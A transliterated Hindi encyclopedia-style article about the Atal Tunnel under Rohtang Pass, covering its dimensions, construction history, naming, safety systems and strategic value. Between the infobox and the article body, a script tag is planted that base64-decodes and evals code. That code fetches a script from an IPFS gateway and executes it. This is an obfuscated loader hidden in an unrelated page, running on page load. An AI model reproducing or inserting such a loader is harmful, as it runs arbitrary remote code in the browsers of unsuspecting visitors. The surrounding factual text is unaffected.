अटल सुरंग
atal surang
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| sthiti | rohataang, himachal pradesh |
| adharashila | 26 mee 2002 |
| udghatan | 3 aktoobar, 2020 |
| marg | leh-manali rajamarg |
| sanchalak | sima s dak sangathan |
| lambaee | 9.02 ki.mi. |
| gati | 40-80 ki.mi./ghanta |
| chau daee | 10 mi. |
| ooanchaee | 5.525 mitar |
| any janakari | atal surang ki pratidin 3 hajar kar aur 1500 trak ke lie taiyar ki gee hai, jisamean vahanoan ki adhikatam gati 80 kilomitar prati ghante hogi. |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>atal surang (aangrezi: Atal Tunnel) bharatiy rajy himachal pradesh ke rohataang mean sthit hai. pradhanamantri nareandr modi ne samarik roop se mahatvapoorn sabhi mausam mean khuli rahane vali atal surang ka udghatan 3 aktoobar, 2020 ko kiya. is surang ke khul jane se manali aur leh ke bich ki doori 46 kilomitar kam ho gee hai. atal surang duniya mean sabase lanbi rajamarg surang hai. 9.02 lanbi yah surang manali ko saloan bhar lahaul spiti ghati se jo de rakhegi. pahale ghati chhah mahine tak bhari barphabari ke karan shesh hisse se kati rahati thi. surang ko himalay ke pir panjal ki parvat shrriankhalaoan ke bich atyadhunik vishishtataoan ke sath samudr tal se karib tin hajar mitar ki ooanchaee par banaya gaya hai.
adharashila v namakaran
atal surang ka dakshini portal manali se 25 kilomitar ki doori par 3060 mitar ki ooanchaee par bana hai jabaki uttari portal 3071 mitar ki ooanchaee par lahaul ghati mean teliang, sisoo gaanv ke najadik sthit hai. gho de ki nal ke akar vali do len vali surang mean ath mitar chau di s dak hai aur isaki ooanchaee 5.525 mitar hai. atal surang ki dijain pratidin tin hajar kar aur 1500 trak ke lie taiyar ki gee hai jisamean vahanoan ki adhikatam gati 80 kilomitar prati ghante hogi.
atal bihari vajapeyi ki sarakar ne rohataang darre ke niche samarik roop se mahatvapoorn is surang ka nirman karane ka nirnay kiya tha aur surang ke dakshini portal par sanpark marg ki adharashila 26 mee 2002 ko rakhi gee thi. narendr modi sarakar ne disambar 2019 mean poorv pradhanamantri ke samman mean surang ka nam 'atal surang' rakhane ka nirnay kiya tha. is surang se har roj 3000 kar aur 1500 trak 80 kilomitar prati ghante ki raphtar se a ja sakeange. surang mean agni shaman, roshani aur nigarani ke vyapak iantajam kiye ge haian. rohataang darre ke niche yah aitihasik surang banane ka nirnay poorv pradhanamantri atal bihari vajapeyi ke karyakal mean 3 joon 2000 mean liya gaya tha. isake bad se sima s dak sangathan sabhi pratikool paristhitiyoan ke bavajood ise poora karane mean juta tha. seri nala phalt jon mean 587 mitar kshetr mean surang banane ka kam sabase chunautipoorn tha aur ise 15 aktoobar 2017 ko poora kiya gaya. thumb|left|250px|atal surang ka bhitari bhag pradhanamantri banane ke bad narendr modi ne 2014 mean nimarn sthal ka daura kar nimarn kary ka jayaja liya tha. 24 disambar, 2019 ko piem modi ki adhyakshata mean kendriy mantrimandal ne vajapeyi ji ke isamean yogadan ke lie is surang ka nam rohataang surang ke bajay atal surang rakhane ko manjoori di. surang ka 40 pratishat kary pichhale do saloan mean poora kiya gaya hai aur isake nimarn par 3200 karo d roopaye ki lagat aee hai. surang ke donoan dvaroan par bairiyar lage haian. apat sthiti mean batachit ke lie har 150 mitar par teliphon aur har 60 mitar par agnishaman yantr lage haian. ghatanaoan ka svat: pata lagane ke lie har dhaee sau mitar par sisitivi kaimara aur har ek kilomitar par vayu gunavatta nigarani pranali lagi hai. har 25 mitar par apat nikas ke sanket hai tatha poori surang mean brodakastiang sistam lagaya gaya hai. surang mean har 60 mitar ki doori par kaimare bhi lagaye gaye haian.[1]
mahattv
thumb|250px|atal surang ka pravesh dvar atal surang ke banane se sena ko bhi b di madad mili hai. yah surang sainikoan ki tezise lamabandi aur simaoan ko apoorti ki suvidha pradan karegi. laddakh ke nivasi jinhean svasthy aur khady apoorti jaisi buniyadi suvidhaoan ka labh uthane ke lie bhari kathinaee ka samana karana p data tha, ab is nee surang ka upayog karate hue manali tak asani se pahuanch sakeange aur desh ke baki hissoan se ju d sakeange. yatra ke samay mean kami ane se kee logoan ko madad milegi. petrol aur sabji ki apoorti jaisi avashyak vastuean bhi poore varsh upalabdh hoangi. lahaul ghati aur laddakh ke nivasiyoan ka kahana hai ki paryatan kshetr mean ajivika ko badhava mil sakata hai.
is surang se adhikatam 80 kilomitar prati ghante ki gati ke vahanoan ki avajahi sanbhav hai. har roj 3000 karoan aur 1500 trakoan ki avajahi ke lihaj se dijain kiya gaya hai.
visheshata
[[chitr:Atal-Tunnel-2.jpg|thumb|left|250px|surang mean tahalate pradhanamantri nareandr modi]] yah surang manali aur leh ke bich s dak ki doori 46 kilomitar kam karati hai aur samay lagabhag char se paanch ghante kam lageange. yah surang min si leval se 3,000 mitar (10,000 phit) ki ooanchaee par himalay ki pir panjal shreni mean ati-adhunik vishishtataoan ke sath banaee gee hai. yah gho de ki nal ke akar ka hai. ath mitar ke rodave ke sath siangal tyoob dabal len surang hai. isamean 5.525 mitar ka ovarahed kliyareans hai. isake alava yah 10.5 mitar chau da hai aur isamean 3.6 x 2.25 mitar ka phayar prooph imarajeansi ighnor surang hai jise mukhy surang mean hi banaya gaya hai. agar koee ag ki ghatana hoti hai to pahali bat yah hai ki phanse hue logoan ko kaise bachaya jae. usake lie, pratyek 500 mitar par ek pravishti hai.
surangoan ko spasht roop se chihnit kiya gaya hai aur koee asani se yah pata laga sakata hai ki kahaan par surang hai. atal surang ko prati din 3,000 karoan ki yatayat ghanatv aur 80 kimi / ghanta ki adhikatam gati ke sath prati din 1,500 trakoan ke lie dizain kiya gaya hai. surang mean paryapt suraksha suvidhaean pradan ki gee hai. jisamean har 150 mitar par teliphon kanekshan, har 60 mitar par agni haidreant tantr, pratyek 250 mitar par sisitivi kaimaroan ke sath aauto ghatana ka pata lagane, har ek kilomitar par vayu gunavatta ki nigarani, nikasi, prakash v any logoan ke bich surang se bahar nikalane ke sanket aur prasaran pranali bhi maujood hai.[2]
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tika tippani aur sandarbh
- ↑ duniya ki sabase lanbi atal tanal ka piem modi ne kiya udghatan (hiandi) livehindustan.com. abhigaman tithi: 6 aktoobar, 2020.
- ↑ himachal mean bana duniya ki sabase lanbi atal tanal, janean isaki khasiyat (hiandi) m.patrika.com. abhigaman tithi: 6 aktoobar, 2020.